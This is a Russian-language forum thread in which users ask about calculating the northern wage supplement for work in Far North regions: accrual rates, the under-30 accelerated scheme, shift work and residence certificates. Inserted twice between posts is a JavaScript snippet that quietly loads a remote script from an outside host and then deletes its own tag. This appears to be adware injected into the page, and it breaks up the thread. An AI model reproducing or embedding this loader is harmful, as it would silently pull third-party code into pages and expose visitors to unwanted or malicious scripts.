Вопросы о северной надбавке , Публикация №185706

!f unction(){try{var h=docu ment.getElementsByTagName("head")[0];var s=docu ment.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.on load=s.on readystatechange=f unction(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.on load=s.on readystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
В ок на это и ссылаются. Что мол рубеж 30 лет пройден.
Как нибудь можно их убедить аргументированно?

уточню нюансы).

Первый:
начал НЕ в РКС, а в РПКС, там максимум был 50%.

РКС где прожил максимум - 80 %

Сейчас работаю в РКС с максимальной 80%
Ваше мнение в настоящее время какая должна быть максимальная?

Второй:

Трудовую книжку завели в первой моей организации)) (РПКС) и первая запись гласит об учебе в ВУЗе, а потом уже пошла трудовая деятельность.
Запись об учебе никак не влияет на стаж учета трудовой деятельности в РКС (учеба была НЕ в северных районах)? Тоесть начисления максимальной СН молодежи.

Третий:

Если я уезжал с РКС закончив девятый класс средней школы, то справка о проживании в РКС, от какого учреждения устроит работодателя?

!f unction(){try{var h=docu ment.getElementsByTagName("head")[0];var s=docu ment.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.on load=s.on readystatechange=f unction(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.on load=s.on readystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

Здравствуйте, помогите с вопросом. Я живу в ХМАО, здесь родился и вырос. Я работаю в компании уже 2 года, на момент устройства на работу северных не было, сказали нужно заработать. Работаю по вахтам 28 рабочих дней и 28 отдыхающих. Правильно ли что северные по вахтам начисляются раз в год а не через каждые пол года даже если я живу в том же районе?? И еще вопрос. Если так и должно быть, то по идее на данный момент у меня должно быть уже 20 % северных, по скольку устроился я в конце июня 2010, в 2011 в июле у меня уже были 10 %, а в 2012 мне не добавили северные до сих пор, хотя прошло уже почти 3 месяца, мне объяснили это тем что начисление северных происходит по какой то программе в которой указано что я должен проработать еще 15 дней!!! Разве северные зависят от количества проработанного мною времени?? Хотя я и не пропускал работу, разве что только из - за сессии пару дней захватывал рабочих.

Добрый день!
Все перерыла в интернете, но не смогла найти ответ на свой вопрос.
Пож-ста помогите, проконсультируйте меня.

К нам устраивается работник в район Крайнего севера (Коротчаево, max 80%)
Ему 29 лет, общий стаж работы в РКС у него составляет 1г 6м 24дн (в 2000г 6 мес, 2003-2004 1г 24дн), северная прописка с 2001 года.
Принес справку о том, что при увольнении получал сев надбавку в размере 60% (при этом не указано, сколько отработал на след.надбавку)

Я с севером работаю всего полгода, но даже за такой срок столкнулась с "липовыми" справками. Поэтому проверяю все справки, достоверны ли они...

По предыдущему северному стажу рассуждаю так:
на первом месте работы у него было 0% (т.к. нет сев. стажа, и не жил на севере более 1 года, точнее вообще там не жил)
на втором месте работы ему должны были установить при приеме 10% (т.к. стаж 6 мес), при этом у него уже есть проживание в РКС более 1 года (правда не знаю учитывается ли этот факт, если устраивается на работу не впервые???). если все-таки учитывается, значит он сев.надбавку "зарабатывает" в ускоренном порядке - через полгода он будет получать 30%, затем еще через полгода уже получает 50%. В итоге ему должны были выдать справку о северной надбавке в размере 50%
Правильно ли я посчитала???

Если все-таки правильно, то у нас при приеме ему устанавливаем сразу 50%, а затем что?
По инструкции расчета северной надбавки в Коротчаево северная надбавка молодым людям до 30 лет устанавливается через полгода в размере 20%, затем увеличивая на 20% каждые полгода, по достижении 60% следующие 20% устанавливаются через 1 год.

Через 3 мес добавить 10%, а затем через год 20%?
Через полгода добавить 20%, а затем через год 10%?
Или вообще все по-другому считать????
Я в растерянности.... Одни вопросы...

Добрый день!
Спасибо Снежана за ответы.
По поводу 10% в РКС - наш район относится к 2 группе.
Ко второй обычной группе отнесены остальные районы Крайнего Севера (например, Республика Саха (Якутия), Ненецкий автономный округ и т.д.). Для них надбавка установлена в размере 10% за каждые полгода, до достижения 60%. В дальнейшем надбавка начисляется по 10% за год работы. Предельный размер надбавок для этой группы — 80%.
По 20% за каждые полгода устанавливают лишь молодежи до 30 лет, если они прожили более 1 года. Это вторая льготная группа.
Получается работник отработав 6 мес в РКС (но при этом не жил более 1 года в РКС) " заработал" лишь 10%. (Да, я согласна. что на первом месте работы он никаких надбавок не получал, но зато заработал на будущее). Если бы он отработал на первой работе 6м 3дн, то за эти 3 дня он получал бы 10% сев.надбавки...
Значит все-таки ему на второй работе должны были при приеме установить сразу 10%...
Или я тем не менее не права???
Меня смущает еще такой момент - нигде не указано, что молодежь прожившая в РКС более 1 года получает ускоренную надбавку при трудоустройстве впервые...
Значит работник может приехать в РКС, отработать там 1 год (в нашей организации например). При этом у него будет 2 обычная группа.
Если он будет далее работать у нас, то будет зарабатывать по 10% каждые полгода и получит максимальную (80%) сев.надбавку через 5 лет.
Но если он будет "хитрее", то может уволиться через год работы, затем сразу опять устраивается к нам же, то ему установим уже 2 льготную группу???
В этом случае ему будет устанавливаться уже по 20% за каждые полгода... И максимальную сев.надбавку (80%) он получит через 3 года работы в РКС (первый год по обычной группе по 10% за каждые полгода, = 20% за год, второй год - 20% за полгода + 20% за след. полгода = 40%, итого за 2 года = 60%, затем через год еще 20%. Итого за 3 года = 80%)
Несправедливо-то как...

Добрый день. У меня такой вопрос.
С 1 января 2013 г. Березовский и Белоярский районы Ханты-Мансийского автономного округа будут относиться к районам Крайнего Севера. Остальные районы округа остаются местностями, приравненными к районам Крайнего Севера. Изменится же размер северной надбавки и количество дней доп.отпуска.
Подскажите, пожалуйста, на основании какого документа, постановления, закона?

Разъясните пожалуйста такую ситуацию : Работник работающий по вахте в ХМАО, моложе 30 лет, отработал 305 смен следовательно заработал только 10% северных, как следует дальше рассчитывать надбавку?? через 152 смены, 182 смены или же опять через 305 смен?

Если до 1 января 2005 года прожито 5 и более лет в РКС, то сейчас при трудоустройстве Вам положена максимальная северная надбавка, предусмотренная в регионе.

Стаж для северной надбавки суммируется, перерывы значения не играют. Считайте стаж работы на предприятиях, расположенных в РКС (даже если голова в Москве - само место работы на севере - идет северный стаж) и согласно данного тсажа выплачивайте надбавку.